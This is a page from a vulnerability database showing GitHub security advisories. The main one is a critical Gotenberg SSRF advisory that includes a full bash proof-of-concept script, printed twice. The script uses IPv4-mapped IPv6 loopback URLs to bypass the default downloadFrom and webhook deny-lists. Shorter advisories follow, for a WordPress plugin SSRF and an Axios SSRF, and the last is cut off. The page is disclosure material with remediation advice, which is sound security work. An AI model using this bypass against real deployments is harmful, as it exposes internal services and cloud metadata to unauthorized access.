DOWNLOAD_JSON="$ARTIFACT_DIR/downloadfrom-metadata.json"
WEBHOOK_LOG="$ARTIFACT_DIR/webhook.log"
HELPER_SCRIPT="$ARTIFACT_DIR/internal_helper.py"
DOWNLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18081/page_1.pdf"
WEBHOOK_UPLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/upload"
WEBHOOK_EVENTS_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/events"
PDF_ENGINE_FLAGS=(
  "--pdfengines-merge-engines=qpdf"
  "--pdfengines-split-engines=qpdf"
  "--pdfengines-flatten-engines=qpdf"
  "--pdfengines-convert-engines=qpdf"
  "--pdfengines-read-metadata-engines=exiftool"
  "--pdfengines-write-metadata-engines=exiftool"
  "--pdfengines-encrypt-engines=qpdf"
  "--pdfengines-embed-engines=qpdf"
  "--pdfengines-read-bookmarks-engines=qpdf"
  "--pdfengines-write-bookmarks-engines=qpdf"
  "--pdfengines-watermark-engines=qpdf"
  "--pdfengines-stamp-engines=qpdf"
  "--pdfengines-rotate-engines=qpdf"
)

red() { printf '\033[31m%s\033[0m\n' "$*"; }
green() { printf '\033[32m%s\033[0m\n' "$*"; }
blue() { printf '\033[34m%s\033[0m\n' "$*"; }

cleanup() {
  docker rm -f "$HELPER_NAME" >/dev/null 2>&1 || true
  docker rm -f "$GOTENBERG_NAME" >/dev/null 2>&1 || true
}

fail() {
  red "$1"
  printf '\n--- gotenberg logs ---\n'
  docker logs "$GOTENBERG_NAME" 2>/dev/null || true
  printf '\n--- helper logs ---\n'
  docker logs "$HELPER_NAME" 2>/dev/null || true
  exit 1
}

trap cleanup EXIT

mkdir -p "$ARTIFACT_DIR"
: > "$WEBHOOK_LOG"

if [[ ! -f "$TEST_PDF" ]]; then
  red "Missing test PDF: $TEST_PDF"
  exit 1
fi

if [[ ! -f "$DOCKERFILE" ]]; then
  red "Missing Dockerfile: $DOCKERFILE"
  exit 1
fi

if ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
  blue "[1/6] Building slim verification image: $IMAGE"
  docker build -q -t "$IMAGE" -f "$DOCKERFILE" "$ROOT" >/dev/null
else
  blue "[1/6] Reusing existing image: $IMAGE"
fi

blue "[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT"
cleanup
docker run -d --rm \
  --name "$GOTENBERG_NAME" \
  -p "$PORT:3000" \
  "$IMAGE" \
  --webhook-enable-sync-mode=true \
  "${PDF_ENGINE_FLAGS[@]}" >/dev/null

for _ in $(seq 1 45); do
  if curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
    break
  fi
  sleep 1
done

if ! curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
  fail "Gotenberg did not become healthy"
fi

cat > "$HELPER_SCRIPT" <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from threading import Event, Thread

PDF_PATH = Path("/srv/page_1.pdf")
LOG_PATH = Path("/work/webhook.log")
PDF_BYTES = PDF_PATH.read_bytes()


class DownloadHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/pdf")
        self.send_header("Content-Disposition", 'attachment; filename="page_1.pdf"')
        self.send_header("Content-Length", str(len(PDF_BYTES)))
        self.end_headers()
        self.wfile.write(PDF_BYTES)

    def log_message(self, fmt, *args):
        return


class WebhookHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get("Content-Length", "0"))
        body = self.rfile.read(length)
        with LOG_PATH.open("a", encoding="utf-8") as f:
            f.write(
                f"{self.command} {self.path} len={len(body)} "
                f"content-type={self.headers.get('Content-Type', '')}\n"
            )
        self.send_response(200)
        self.end_headers()

    do_PATCH = do_POST
    do_PUT = do_POST

    def log_message(self, fmt, *args):
        return


def serve(addr, handler):
    HTTPServer(addr, handler).serve_forever()


Thread(target=serve, args=(("127.0.0.1", 18081), DownloadHandler), daemon=True).start()
Thread(target=serve, args=(("127.0.0.1", 18082), WebhookHandler), daemon=True).start()

print("internal helper ready", flush=True)
Event().wait()
PY

blue "[3/6] Starting internal-only helper inside the same network namespace"
docker run -d --rm \
  --name "$HELPER_NAME" \
  --network "container:$GOTENBERG_NAME" \
  -v "$TEST_PDF:/srv/page_1.pdf:ro" \
  -v "$ARTIFACT_DIR:/work" \
  -v "$HELPER_SCRIPT:/app/internal_helper.py:ro" \
  python:3.11-alpine \
  python /app/internal_helper.py >/dev/null

for _ in $(seq 1 20); do
  if docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
    break
  fi
  sleep 1
done

if ! docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
  fail "Internal helper did not start"
fi

blue "[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL"
download_status="$(
  curl -sS \
    -o "$DOWNLOAD_JSON" \
    -w '%{http_code}' \
    -X POST "http://127.0.0.1:$PORT/forms/pdfengines/metadata/read" \
    -F "downloadFrom=[{\"url\":\"$DOWNLOAD_BYPASS_URL\"}]"
)"

if [[ "$download_status" != "200" ]]; then
  cat "$DOWNLOAD_JSON" 2>/dev/null || true
  fail "downloadFrom verification failed with HTTP $download_status"
fi

if ! jq -e 'has("page_1.pdf")' "$DOWNLOAD_JSON" >/dev/null 2>&1; then
  cat "$DOWNLOAD_JSON" || true
  fail "downloadFrom verification failed: expected metadata for page_1.pdf"
fi

green "PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata"

blue "[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL"
webhook_status="$(
  curl -sS \
    -o /dev/null \
    -w '%{http_code}' \
    -X POST "http://127.0.0.1:$PORT/forms/pdfengines/flatten" \
    -H "Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL" \
    -H "Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL" \
    -F "files=@$TEST_PDF"
)"

if [[ "$webhook_status" != "204" ]]; then
  fail "webhook verification failed with HTTP $webhook_status"
fi

if ! grep -q '^POST /upload ' "$WEBHOOK_LOG"; then
  cat "$WEBHOOK_LOG" || true
  fail "webhook verification failed: /upload was not hit"
fi

if ! grep -q '^POST /events ' "$WEBHOOK_LOG"; then
  cat "$WEBHOOK_LOG" || true
  fail "webhook verification failed: /events was not hit"
fi

green "PASS webhook: Gotenberg POSTed to an internal-only loopback listener"

blue "[6/6] Evidence files"
printf 'downloadFrom metadata: %s\n' "$DOWNLOAD_JSON"
printf 'webhook log:          %s\n' "$WEBHOOK_LOG"

printf '\n--- downloadFrom metadata excerpt ---\n'
jq '{filename_present: has("page_1.pdf"), sample_keys: (."page_1.pdf" | keys[0:6])}' "$DOWNLOAD_JSON"

printf '\n--- webhook log ---\n'
cat "$WEBHOOK_LOG"

printf '\n'
green "Verification complete"
printf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\n'

Impact

This is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.

Affected users are operators who rely on the default downloadFrom and webhook deny-lists for SSRF protection. In practice, an attacker can:

  • Read content from internal HTTP endpoints through downloadFrom.
  • Trigger state-changing POST/PATCH/PUT requests through the webhook feature.
  • Reach services bound only to localhost from the perspective of the Gotenberg host or container.

Remediation

  1. Normalize and structurally validate URLs before any allow-list or deny-list decision. Parse with net/url, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.

  2. Replace regex-only private-address filtering with resolved IP validation. Resolve the hostname, evaluate every resolved IP with net/netip, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.

  3. Reconsider the security default for outbound URL features. Either disable downloadFrom and webhook by default, or ship a strict default policy that only allows http/https plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to downloadFrom, webhook, error URLs, and event URLs.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.30.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T01:15:19Z",
    "nvd_published_at": "2026-05-14T16:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe default deny-lists used by Gotenberg\u0027s `downloadFrom` feature and `webhook` feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as `http://[::ffff:127.0.0.1]:...` and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.\n\n### Details\nThe issue originates from the shipped default deny-list regexes and the way those regexes are applied:\n\n- `pkg/modules/api/api.go:198-200` defines the default `api-download-from-deny-list`.\n- `pkg/modules/webhook/webhook.go:41-43` defines the default `webhook-deny-list`.\n- `pkg/gotenberg/filter.go:20-69` evaluates those patterns with `regexp2` using case-sensitive matching.\n\nThe attacker-controlled URL then reaches outbound request sinks:\n\n- `pkg/modules/api/context.go:208-282`\n  - Reads attacker-supplied `downloadFrom`.\n  - Calls `gotenberg.FilterDeadline(...)`.\n  - Issues an outbound GET with `retryablehttp.NewRequest(...)` and `client.Do(...)`.\n- `pkg/modules/webhook/middleware.go:99-217`\n  - Reads `Gotenberg-Webhook-Url` and `Gotenberg-Webhook-Events-Url`.\n  - Calls `gotenberg.FilterDeadline(...)`.\n  - Constructs a `client` for outbound delivery.\n- `pkg/modules/webhook/client.go:39-152`\n  - Sends the success or error webhook request.\n- `pkg/modules/webhook/client.go:155-216`\n  - Sends the webhook event request.\n\nWhy the bypass works:\n\n1. The default deny-list only blocks lowercase `http://` and `https://` prefixes.\n2. The filtering logic performs case-sensitive regex matching on the raw user input.\n3. Go\u0027s HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like `http://[::ffff:127.0.0.1]:18081/...`.\n4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.\n\nConfirmed bypass used during verification:\n\n- `http://[::ffff:127.0.0.1]:18081/page_1.pdf`\n- `http://[::ffff:127.0.0.1]:18082/upload`\n- `http://[::ffff:127.0.0.1]:18082/events`\n\nThis is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate `downloadFrom` and `webhook` URL filtering paths.\n\n### PoC\n#### One-command verification\nFrom the repository root:\n\n```bash\ncd \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg\u0027\n./tmp/poc/verify_ssrf_poc.sh\n```\n\nWhat the script does:\n\n1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.\n2. Starts Gotenberg on `127.0.0.1:3000`.\n3. Starts an internal-only helper listener inside the same container network namespace.\n4. Verifies `downloadFrom` SSRF by forcing Gotenberg to fetch a PDF from `http://[::ffff:127.0.0.1]:18081/page_1.pdf`.\n5. Verifies `webhook` SSRF by forcing Gotenberg to POST to `http://[::ffff:127.0.0.1]:18082/upload` and `http://[::ffff:127.0.0.1]:18082/events`.\n6. Writes evidence artifacts to disk.\n\nExpected success output:\n\n```text\n[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf\nPASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\n[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload\nPASS webhook: Gotenberg POSTed to an internal-only loopback listener\n```\n\nEvidence files created by the script:\n\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json`\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log`\n\n#### Manual evidence commands\nThe following commands were run after the verifier completed successfully:\n\n```bash\njq \u0027.\u0027 \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json\u0027\ncat \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log\u0027\n```\n\nObserved output:\n\n```json\n{\n  \"page_1.pdf\": {\n    \"CreateDate\": \"2025:02:17 14:46:38+00:00\",\n    \"FileType\": \"PDF\",\n    \"FileTypeExtension\": \"pdf\",\n    \"Linearized\": \"No\",\n    \"MIMEType\": \"application/pdf\",\n    \"ModifyDate\": \"2025:02:17 14:46:38+00:00\",\n    \"PDFVersion\": 1.7,\n    \"PageCount\": 1,\n    \"Producer\": \"PDFTron built-in office converter, V11.2.0-d27340a176\\n\",\n    \"SourceFile\": \"/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf\"\n  }\n}\n```\n\n```text\nPOST /upload len=4363 content-type=application/pdf\nPOST /events len=126 content-type=application/json\n```\n\nPoC Video:\n\nhttps://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3\n\n\n\nInterpretation:\n\n- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.\n- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.\n\n### `verify_ssrf_poc.sh`\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nROOT=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")/../..\" \u0026\u0026 pwd)\"\nIMAGE=\"${IMAGE:-gotenberg-local-ssrf-poc:minimal}\"\nDOCKERFILE=\"${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}\"\nGOTENBERG_NAME=\"${GOTENBERG_NAME:-gotenberg-ssrf-poc}\"\nHELPER_NAME=\"${HELPER_NAME:-gotenberg-ssrf-helper}\"\nPORT=\"${PORT:-3000}\"\nARTIFACT_DIR=\"${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}\"\nTEST_PDF=\"$ROOT/test/integration/testdata/page_1.pdf\"\nDOWNLOAD_JSON=\"$ARTIFACT_DIR/downloadfrom-metadata.json\"\nWEBHOOK_LOG=\"$ARTIFACT_DIR/webhook.log\"\nHELPER_SCRIPT=\"$ARTIFACT_DIR/internal_helper.py\"\nDOWNLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18081/page_1.pdf\"\nWEBHOOK_UPLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/upload\"\nWEBHOOK_EVENTS_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/events\"\nPDF_ENGINE_FLAGS=(\n  \"--pdfengines-merge-engines=qpdf\"\n  \"--pdfengines-split-engines=qpdf\"\n  \"--pdfengines-flatten-engines=qpdf\"\n  \"--pdfengines-convert-engines=qpdf\"\n  \"--pdfengines-read-metadata-engines=exiftool\"\n  \"--pdfengines-write-metadata-engines=exiftool\"\n  \"--pdfengines-encrypt-engines=qpdf\"\n  \"--pdfengines-embed-engines=qpdf\"\n  \"--pdfengines-read-bookmarks-engines=qpdf\"\n  \"--pdfengines-write-bookmarks-engines=qpdf\"\n  \"--pdfengines-watermark-engines=qpdf\"\n  \"--pdfengines-stamp-engines=qpdf\"\n  \"--pdfengines-rotate-engines=qpdf\"\n)\n\nred() { printf \u0027\\033[31m%s\\033[0m\\n\u0027 \"$*\"; }\ngreen() { printf \u0027\\033[32m%s\\033[0m\\n\u0027 \"$*\"; }\nblue() { printf \u0027\\033[34m%s\\033[0m\\n\u0027 \"$*\"; }\n\ncleanup() {\n  docker rm -f \"$HELPER_NAME\" \u003e/dev/null 2\u003e\u00261 || true\n  docker rm -f \"$GOTENBERG_NAME\" \u003e/dev/null 2\u003e\u00261 || true\n}\n\nfail() {\n  red \"$1\"\n  printf \u0027\\n--- gotenberg logs ---\\n\u0027\n  docker logs \"$GOTENBERG_NAME\" 2\u003e/dev/null || true\n  printf \u0027\\n--- helper logs ---\\n\u0027\n  docker logs \"$HELPER_NAME\" 2\u003e/dev/null || true\n  exit 1\n}\n\ntrap cleanup EXIT\n\nmkdir -p \"$ARTIFACT_DIR\"\n: \u003e \"$WEBHOOK_LOG\"\n\nif [[ ! -f \"$TEST_PDF\" ]]; then\n  red \"Missing test PDF: $TEST_PDF\"\n  exit 1\nfi\n\nif [[ ! -f \"$DOCKERFILE\" ]]; then\n  red \"Missing Dockerfile: $DOCKERFILE\"\n  exit 1\nfi\n\nif ! docker image inspect \"$IMAGE\" \u003e/dev/null 2\u003e\u00261; then\n  blue \"[1/6] Building slim verification image: $IMAGE\"\n  docker build -q -t \"$IMAGE\" -f \"$DOCKERFILE\" \"$ROOT\" \u003e/dev/null\nelse\n  blue \"[1/6] Reusing existing image: $IMAGE\"\nfi\n\nblue \"[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT\"\ncleanup\ndocker run -d --rm \\\n  --name \"$GOTENBERG_NAME\" \\\n  -p \"$PORT:3000\" \\\n  \"$IMAGE\" \\\n  --webhook-enable-sync-mode=true \\\n  \"${PDF_ENGINE_FLAGS[@]}\" \u003e/dev/null\n\nfor _ in $(seq 1 45); do\n  if curl -fsS \"http://127.0.0.1:$PORT/health\" \u003e/dev/null 2\u003e\u00261; then\n    break\n  fi\n  sleep 1\ndone\n\nif ! curl -fsS \"http://127.0.0.1:$PORT/health\" \u003e/dev/null 2\u003e\u00261; then\n  fail \"Gotenberg did not become healthy\"\nfi\n\ncat \u003e \"$HELPER_SCRIPT\" \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom threading import Event, Thread\n\nPDF_PATH = Path(\"/srv/page_1.pdf\")\nLOG_PATH = Path(\"/work/webhook.log\")\nPDF_BYTES = PDF_PATH.read_bytes()\n\n\nclass DownloadHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/pdf\")\n        self.send_header(\"Content-Disposition\", \u0027attachment; filename=\"page_1.pdf\"\u0027)\n        self.send_header(\"Content-Length\", str(len(PDF_BYTES)))\n        self.end_headers()\n        self.wfile.write(PDF_BYTES)\n\n    def log_message(self, fmt, *args):\n        return\n\n\nclass WebhookHandler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        length = int(self.headers.get(\"Content-Length\", \"0\"))\n        body = self.rfile.read(length)\n        with LOG_PATH.open(\"a\", encoding=\"utf-8\") as f:\n            f.write(\n                f\"{self.command} {self.path} len={len(body)} \"\n                f\"content-type={self.headers.get(\u0027Content-Type\u0027, \u0027\u0027)}\\n\"\n            )\n        self.send_response(200)\n        self.end_headers()\n\n    do_PATCH = do_POST\n    do_PUT = do_POST\n\n    def log_message(self, fmt, *args):\n        return\n\n\ndef serve(addr, handler):\n    HTTPServer(addr, handler).serve_forever()\n\n\nThread(target=serve, args=((\"127.0.0.1\", 18081), DownloadHandler), daemon=True).start()\nThread(target=serve, args=((\"127.0.0.1\", 18082), WebhookHandler), daemon=True).start()\n\nprint(\"internal helper ready\", flush=True)\nEvent().wait()\nPY\n\nblue \"[3/6] Starting internal-only helper inside the same network namespace\"\ndocker run -d --rm \\\n  --name \"$HELPER_NAME\" \\\n  --network \"container:$GOTENBERG_NAME\" \\\n  -v \"$TEST_PDF:/srv/page_1.pdf:ro\" \\\n  -v \"$ARTIFACT_DIR:/work\" \\\n  -v \"$HELPER_SCRIPT:/app/internal_helper.py:ro\" \\\n  python:3.11-alpine \\\n  python /app/internal_helper.py \u003e/dev/null\n\nfor _ in $(seq 1 20); do\n  if docker logs \"$HELPER_NAME\" 2\u003e\u00261 | grep -q \"internal helper ready\"; then\n    break\n  fi\n  sleep 1\ndone\n\nif ! docker logs \"$HELPER_NAME\" 2\u003e\u00261 | grep -q \"internal helper ready\"; then\n  fail \"Internal helper did not start\"\nfi\n\nblue \"[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL\"\ndownload_status=\"$(\n  curl -sS \\\n    -o \"$DOWNLOAD_JSON\" \\\n    -w \u0027%{http_code}\u0027 \\\n    -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/metadata/read\" \\\n    -F \"downloadFrom=[{\\\"url\\\":\\\"$DOWNLOAD_BYPASS_URL\\\"}]\"\n)\"\n\nif [[ \"$download_status\" != \"200\" ]]; then\n  cat \"$DOWNLOAD_JSON\" 2\u003e/dev/null || true\n  fail \"downloadFrom verification failed with HTTP $download_status\"\nfi\n\nif ! jq -e \u0027has(\"page_1.pdf\")\u0027 \"$DOWNLOAD_JSON\" \u003e/dev/null 2\u003e\u00261; then\n  cat \"$DOWNLOAD_JSON\" || true\n  fail \"downloadFrom verification failed: expected metadata for page_1.pdf\"\nfi\n\ngreen \"PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\"\n\nblue \"[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL\"\nwebhook_status=\"$(\n  curl -sS \\\n    -o /dev/null \\\n    -w \u0027%{http_code}\u0027 \\\n    -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/flatten\" \\\n    -H \"Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL\" \\\n    -H \"Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL\" \\\n    -F \"files=@$TEST_PDF\"\n)\"\n\nif [[ \"$webhook_status\" != \"204\" ]]; then\n  fail \"webhook verification failed with HTTP $webhook_status\"\nfi\n\nif ! grep -q \u0027^POST /upload \u0027 \"$WEBHOOK_LOG\"; then\n  cat \"$WEBHOOK_LOG\" || true\n  fail \"webhook verification failed: /upload was not hit\"\nfi\n\nif ! grep -q \u0027^POST /events \u0027 \"$WEBHOOK_LOG\"; then\n  cat \"$WEBHOOK_LOG\" || true\n  fail \"webhook verification failed: /events was not hit\"\nfi\n\ngreen \"PASS webhook: Gotenberg POSTed to an internal-only loopback listener\"\n\nblue \"[6/6] Evidence files\"\nprintf \u0027downloadFrom metadata: %s\\n\u0027 \"$DOWNLOAD_JSON\"\nprintf \u0027webhook log:          %s\\n\u0027 \"$WEBHOOK_LOG\"\n\nprintf \u0027\\n--- downloadFrom metadata excerpt ---\\n\u0027\njq \u0027{filename_present: has(\"page_1.pdf\"), sample_keys: (.\"page_1.pdf\" | keys[0:6])}\u0027 \"$DOWNLOAD_JSON\"\n\nprintf \u0027\\n--- webhook log ---\\n\u0027\ncat \"$WEBHOOK_LOG\"\n\nprintf \u0027\\n\u0027\ngreen \"Verification complete\"\nprintf \u0027Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\\n\u0027\n```\n\n### Impact\nThis is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.\n\nAffected users are operators who rely on the default `downloadFrom` and `webhook` deny-lists for SSRF protection. In practice, an attacker can:\n\n- Read content from internal HTTP endpoints through `downloadFrom`.\n- Trigger state-changing POST/PATCH/PUT requests through the `webhook` feature.\n- Reach services bound only to localhost from the perspective of the Gotenberg host or container.\n\n### Remediation\n1. Normalize and structurally validate URLs before any allow-list or deny-list decision.\n   Parse with `net/url`, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.\n\n2. Replace regex-only private-address filtering with resolved IP validation.\n   Resolve the hostname, evaluate every resolved IP with `net/netip`, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.\n\n3. Reconsider the security default for outbound URL features.\n   Either disable `downloadFrom` and `webhook` by default, or ship a strict default policy that only allows `http`/`https` plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to `downloadFrom`, `webhook`, error URLs, and event URLs.",
  "id": "GHSA-4vmc-gm8v-m35h",
  "modified": "2026-05-14T20:52:50Z",
  "published": "2026-05-07T01:15:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42596"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook"
}

GHSA-4VR9-8JJ4-GFWV

Vulnerability from github – Published: 2026-03-21 06:30 – Updated: 2026-03-21 06:30
VLAI
Details

The Performance Monitor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.6. This is due to insufficient validation of the 'url' parameter in the '/wp-json/performance-monitor/v1/curl_data' REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations, including internal services, via the Gopher protocol and other dangerous protocols. This can be exploited to achieve Remote Code Execution by chaining with services like Redis.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1648"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-21T04:16:54Z",
    "severity": "HIGH"
  },
  "details": "The Performance Monitor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.6. This is due to insufficient validation of the \u0027url\u0027 parameter in the \u0027/wp-json/performance-monitor/v1/curl_data\u0027 REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations, including internal services, via the Gopher protocol and other dangerous protocols. This can be exploited to achieve Remote Code Execution by chaining with services like Redis.",
  "id": "GHSA-4vr9-8jj4-gfwv",
  "modified": "2026-03-21T06:30:24Z",
  "published": "2026-03-21T06:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1648"
    },
    {
      "type": "WEB",
      "url": "https://github.com/assetnote/blind-ssrf-chains"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/performance-monitor/tags/1.0.6/admin/class-curl.php#L50"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/performance-monitor/tags/1.0.6/includes/class-rest-callback.php#L168"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c8f42f17-bce2-421e-9031-bfa0f8c26b2a?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4W2V-Q235-VP99

Vulnerability from github – Published: 2021-01-04 20:59 – Updated: 2022-09-14 20:36
VLAI
Summary
Axios vulnerable to Server-Side Request Forgery
Details

Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-28168"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-01-04T20:57:20Z",
    "nvd_published_at": "2020-11-06T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.",
  "id": "GHSA-4w2v-q235-vp99",
  "modified": "2022-09-14T20:36:52Z",
  "published": "2021-01-04T20:59:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28168"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/issues/3369"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/c7329fefc890050edd51e40e469a154d0117fc55"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r25d53acd06f29244b8a103781b0339c5e7efee9099a4d52f0c230e4a@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r954d80fd18e9dafef6e813963eb7e08c228151c2b6268ecd63b35d1f@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rdfd2901b8b697a3f6e2c9c6ecc688fd90d7f881937affb5144d61d6e@%3Ccommits.druid.apache.org%3E"
    },
